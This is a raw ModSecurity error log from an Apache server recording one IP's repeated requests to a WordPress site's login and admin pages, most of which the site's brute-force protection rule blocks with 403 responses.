[Fri Feb 27 21:00:11.410768 2026] [:error] [pid 54231:tid 54239] [client 159.203.62.100:46950] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVW-Tvb5AeyJCdY7AJqQAAAEU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:13.801749 2026] [:error] [pid 49306:tid 49332] [client 159.203.62.100:48100] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVXfnSUDZue59Px9sHmAAAAVg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:15.234451 2026] [:error] [pid 49306:tid 49310] [client 159.203.62.100:48100] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVX_nSUDZue59Px9sHnQAAAUI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:17.900789 2026] [:error] [pid 49306:tid 49321] [client 159.203.62.100:48100] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVYfnSUDZue59Px9sHpAAAAU0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:17.900865 2026] [:error] [pid 49306:tid 49321] [client 159.203.62.100:48100] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVYfnSUDZue59Px9sHpAAAAU0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:18.738013 2026] [:error] [pid 56075:tid 56086] [client 159.203.62.100:48114] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGVYsKBhrfI6KNv9Riz1QAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:19.579358 2026] [:error] [pid 56075:tid 56085] [client 159.203.62.100:38954] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVY8KBhrfI6KNv9Riz2QAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:20.418652 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:38966] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVZMKBhrfI6KNv9Riz2gAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:21.254742 2026] [:error] [pid 54231:tid 54255] [client 159.203.62.100:38970] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVZeTvb5AeyJCdY7AJrQAAAFU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:23.962045 2026] [:error] [pid 54231:tid 54253] [client 159.203.62.100:38970] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVZ-Tvb5AeyJCdY7AJrwAAAFM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:25.246605 2026] [:error] [pid 54231:tid 54241] [client 159.203.62.100:38970] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVaeTvb5AeyJCdY7AJsQAAAEc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:26.563980 2026] [:error] [pid 54231:tid 54235] [client 159.203.62.100:38970] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGVauTvb5AeyJCdY7AJsgAAAEE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:27.401435 2026] [:error] [pid 52073:tid 52084] [client 159.203.62.100:38986] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGVa4a650YPyxXVeRY8VAAAAYg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:28.260016 2026] [:error] [pid 52073:tid 52094] [client 159.203.62.100:38988] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVbIa650YPyxXVeRY8WQAAAZI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:29.101693 2026] [:error] [pid 49306:tid 49330] [client 159.203.62.100:38992] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVbfnSUDZue59Px9sHwAAAAVY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:29.952588 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:52918] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVbcKBhrfI6KNv9Ri0BgAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:29.952694 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:52918] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVbcKBhrfI6KNv9Ri0BgAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:30.792593 2026] [:error] [pid 56075:tid 56082] [client 159.203.62.100:52934] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGVbsKBhrfI6KNv9Ri0DgAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:31.639546 2026] [:error] [pid 56075:tid 56096] [client 159.203.62.100:52940] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGVb8KBhrfI6KNv9Ri0FQAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:32.475227 2026] [:error] [pid 56075:tid 56092] [client 159.203.62.100:52944] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVcMKBhrfI6KNv9Ri0HQAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:33.313437 2026] [:error] [pid 62998:tid 63019] [client 159.203.62.100:52950] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVcVQeueXZDUmoLok-_AAAARE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:34.146878 2026] [:error] [pid 49306:tid 49315] [client 159.203.62.100:52964] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVcvnSUDZue59Px9sHzwAAAUc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:34.146954 2026] [:error] [pid 49306:tid 49315] [client 159.203.62.100:52964] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVcvnSUDZue59Px9sHzwAAAUc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:36.455024 2026] [:error] [pid 49306:tid 49315] [client 159.203.62.100:52974] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVdPnSUDZue59Px9sH4gAAAUc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:37.734610 2026] [:error] [pid 49306:tid 49319] [client 159.203.62.100:52974] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVdfnSUDZue59Px9sH6AAAAUs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:37.734706 2026] [:error] [pid 49306:tid 49319] [client 159.203.62.100:52974] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVdfnSUDZue59Px9sH6AAAAUs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:40.036105 2026] [:error] [pid 52073:tid 52082] [client 159.203.62.100:52990] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVeIa650YPyxXVeRY8cQAAAYY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:41.406678 2026] [:error] [pid 52073:tid 52099] [client 159.203.62.100:52990] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVeYa650YPyxXVeRY8dwAAAZc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:44.181635 2026] [:error] [pid 52073:tid 52091] [client 159.203.62.100:52990] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVfIa650YPyxXVeRY8hQAAAY8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:45.517562 2026] [:error] [pid 52073:tid 52089] [client 159.203.62.100:52990] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVfYa650YPyxXVeRY8igAAAY0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:46.775560 2026] [:error] [pid 52073:tid 52093] [client 159.203.62.100:52990] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGVfoa650YPyxXVeRY8jwAAAZE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:47.620835 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:57700] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGVf8KBhrfI6KNv9Ri0TAAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:48.462567 2026] [:error] [pid 54231:tid 54246] [client 159.203.62.100:57716] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVgOTvb5AeyJCdY7AJvgAAAEw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:49.302217 2026] [:error] [pid 54102:tid 54151] [client 159.203.62.100:38948] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVgXi74D4fiYUm_GdqXwAAAIc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:50.140271 2026] [:error] [pid 52073:tid 52096] [client 159.203.62.100:38954] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVgoa650YPyxXVeRY8mAAAAZQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:52.839440 2026] [:error] [pid 52073:tid 52078] [client 159.203.62.100:38954] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVhIa650YPyxXVeRY8mwAAAYI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:54.096094 2026] [:error] [pid 52073:tid 52083] [client 159.203.62.100:38954] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVhoa650YPyxXVeRY8nAAAAYc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:56.668963 2026] [:error] [pid 52073:tid 52085] [client 159.203.62.100:38954] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGViIa650YPyxXVeRY8ngAAAYk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:00:57.874556 2026] [:error] [pid 52073:tid 52081] [client 159.203.62.100:38954] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGViYa650YPyxXVeRY8nwAAAYU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:00.581529 2026] [:error] [pid 52073:tid 52096] [client 159.203.62.100:38954] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVjIa650YPyxXVeRY8qQAAAZQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:01.919963 2026] [:error] [pid 52073:tid 52077] [client 159.203.62.100:38954] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVjYa650YPyxXVeRY8qwAAAYE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:01.920064 2026] [:error] [pid 52073:tid 52077] [client 159.203.62.100:38954] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVjYa650YPyxXVeRY8qwAAAYE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:04.145056 2026] [:error] [pid 52073:tid 52089] [client 159.203.62.100:36912] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVkIa650YPyxXVeRY8rgAAAY0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:05.469531 2026] [:error] [pid 52073:tid 52085] [client 159.203.62.100:36912] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVkYa650YPyxXVeRY8rwAAAYk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:08.172232 2026] [:error] [pid 52073:tid 52099] [client 159.203.62.100:36912] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVlIa650YPyxXVeRY8uwAAAZc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:08.172339 2026] [:error] [pid 52073:tid 52099] [client 159.203.62.100:36912] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVlIa650YPyxXVeRY8uwAAAZc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:09.013514 2026] [:error] [pid 52073:tid 52093] [client 159.203.62.100:36928] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGVlYa650YPyxXVeRY8vgAAAZE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:09.854876 2026] [:error] [pid 56075:tid 56078] [client 159.203.62.100:43864] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVlcKBhrfI6KNv9Ri0fwAAAAE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:10.693506 2026] [:error] [pid 54231:tid 54237] [client 159.203.62.100:43868] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVluTvb5AeyJCdY7AJxgAAAEM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:11.526157 2026] [:error] [pid 52073:tid 52088] [client 159.203.62.100:43884] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVl4a650YPyxXVeRY8wgAAAYw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:14.103404 2026] [:error] [pid 52073:tid 52078] [client 159.203.62.100:43884] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVmoa650YPyxXVeRY8xwAAAYI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:15.325167 2026] [:error] [pid 52073:tid 52094] [client 159.203.62.100:43884] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVm4a650YPyxXVeRY8zAAAAZI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:18.206966 2026] [:error] [pid 52073:tid 52081] [client 159.203.62.100:43884] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVnoa650YPyxXVeRY82AAAAYU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:18.207020 2026] [:error] [pid 52073:tid 52081] [client 159.203.62.100:43884] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVnoa650YPyxXVeRY82AAAAYU"], referer: https://gigfragments.org/wp-login.php
